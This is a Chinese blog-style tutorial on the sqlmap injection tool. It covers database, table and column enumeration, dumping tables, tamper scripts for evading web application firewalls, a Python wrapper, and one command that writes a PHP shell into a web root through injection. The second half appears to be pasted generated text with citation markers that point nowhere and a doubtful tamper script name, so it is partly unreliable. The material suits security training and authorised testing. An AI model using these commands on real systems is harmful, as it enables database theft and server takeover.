Sqlmap ---- 数据库的枚举 最最最最基本的使用

SQLMap是一款强大的SQL注入检测和利用工具,能自动识别漏洞并支持多种数据库。文章介绍了如何使用它进行数据库枚举、表枚举、数据提取和命令执行。实例展示了如何利用Sqlmap写入反弹shell。

Sqlmap ---- 数据库的枚举

sqlmap -u http://test.com?id=1

sqlmap -r note.txt

其中note.txt为 burpsuite中抓取到的 可能存在sql注入的数据包。 可以直接放在一个文件中 让sqlmap去读取,并且识别是否存在sql注入漏洞


同时还可以和正常的利用一样增加参数 例如:

sqlmap -r note.txt -T users --dump

SQLMap 是一款开源的自动化 SQL 注入和数据库接管工具。它非常强大,能够检测和利用多种 SQL 注入漏洞。使用 SQLMap 可以帮助您识别网站中的 SQL 注入漏洞,并在渗透测试中进行利用。

SQLMap 主要特点

  1. 自动检测和利用 SQL 注入漏洞:能够自动识别 SQL 注入类型,包括盲注、时间盲注等。
  2. 支持多种数据库系统:包括 MySQL、Oracle、PostgreSQL、MSSQL、SQLite 等。
  3. 数据提取:能够提取数据库中的数据,如用户账户、密码、数据库结构等。
  4. 命令执行:某些 SQL 注入漏洞允许执行操作系统命令,SQLMap 也支持这种功能。
  5. 支持多种注入技术:包括 UNION 查询、布尔盲注、基于时间的盲注等。

使用示例

  • 基础命令sqlmap -u "http://example.com/page.php?id=1"
  • 数据库枚举sqlmap -u "http://example.com/page.php?id=1" --dbs
  • 表枚举sqlmap -u "http://example.com/page.php?id=1" -D database_name --tables
  • 数据提取sqlmap -u "http://example.com/page.php?id=1" -D database_name -T table_name --columns

遇到的实例

sqlmap -r 2.txt --batch --file-write /tmp/shell.php --file-dest /var/www/shell1.php #用sql注入来写入反弹shell

### SQLMap Master 的使用方法 SQLMap 是一款强大的自动化 SQL 注入工具,能够帮助安全研究人员发现并利用 SQL 注入漏洞。虽然官方文档中并未特别区分 `sqlmap` 和所谓的 `sqlmap-master`,但从上下文中可以推测,“master”可能是指最新版本或者特定分支下的增强版。 以下是关于 SQLMap 使用的一些核心知识点以及如何高效操作: #### 基础概念 SQLMap 支持多种注入技术,包括布尔盲注、时间盲注、联合查询等,并兼容主流关系型数据库(如 MySQL, PostgreSQL, Oracle 等)。其主要功能可以通过命令行参数实现[^1]。 #### 主要参数说明 以下是一些常用的 SQLMap 参数及其作用: - `-u/--url`: 指定目标 URL。 - `--data`: 提交 POST 数据。 - `--level`: 设置测试级别,默认为 1,最高为 5。 - `--risk`: 风险等级设置,默认为 1,最高为 3。 - `--dbs`: 枚举所有可用的数据库名称。 - `--tables`: 列出指定数据库中的表名。 - `--columns`: 显示选定表中的列名。 - `--dump`: 导出整个数据库的内容。 - `--batch`: 自动运行而不提示用户输入。 - `--random-agent`: 使用随机 User-Agent 进行请求。 - `--tamper`: 调用 tamper 脚本来规避 WAF 或其他防护机制[^2]。 #### 查看当前使用数据库实例 如果需要确认目标站点正在使用的具体数据库类型,可执行如下命令: ```bash sqlmap -u 'http://example.com/page?id=1' --current-db ``` 上述指令将返回目标服务器上活动的默认数据库名称[^3]。 #### 关于 `search` 和 `dump` 的差异 需要注意的是,`search` 功能主要用于查找符合条件的数据对象(比如某些字段或记录),但如果未提供额外选项(例如 `-D`, `-T`, `-C`),则该功能不会生效;相比之下,`dump` 更倾向于全面提取已知范围内的数据集[^4]。 #### Tamper 脚本的应用场景 Tamper 脚本允许修改原始 payload 形式以便绕过复杂的防御措施。例如,在面对启用了 Magic Quotes GPC 的 PHP 应用程序时,可以选择加载对应的 tamper 文件来调整字符串编码方式: ```bash sqlmap -u "http://vulnerable.site/vuln.php?id=1" --tamper=between.py,timebased_blind.py ``` #### 实际案例分析 假设我们要通过 Sqlmap 获取 DVWA 平台上的敏感信息,则按照以下流程逐步推进即可完成任务: 1. **初步探测**: 执行简单的 GET 请求验证是否存在潜在漏洞; 2. **深入挖掘**: 结合高级配置项进一步探索受影响区域的具体细节; 3. **最终导出**: 将有价值的结果保存至本地文件供后续研究。 --- ### Python 示例代码片段展示调用过程 下面是采用编程接口形式启动 Sqlmap 测试的一个简单例子: ```python import subprocess def run_sqlmap(url): command = [ "sqlmap", "-u", url, "--batch", "--threads=10" ] result = subprocess.run(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE) print(result.stdout.decode()) if __name__ == "__main__": target_url = "http://testphp.vulnweb.com/artists.php?artist=1" run_sqlmap(target_url) ``` 此脚本定义了一个函数用来封装基本交互逻辑,便于集成到更大规模的安全评估框架之中。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值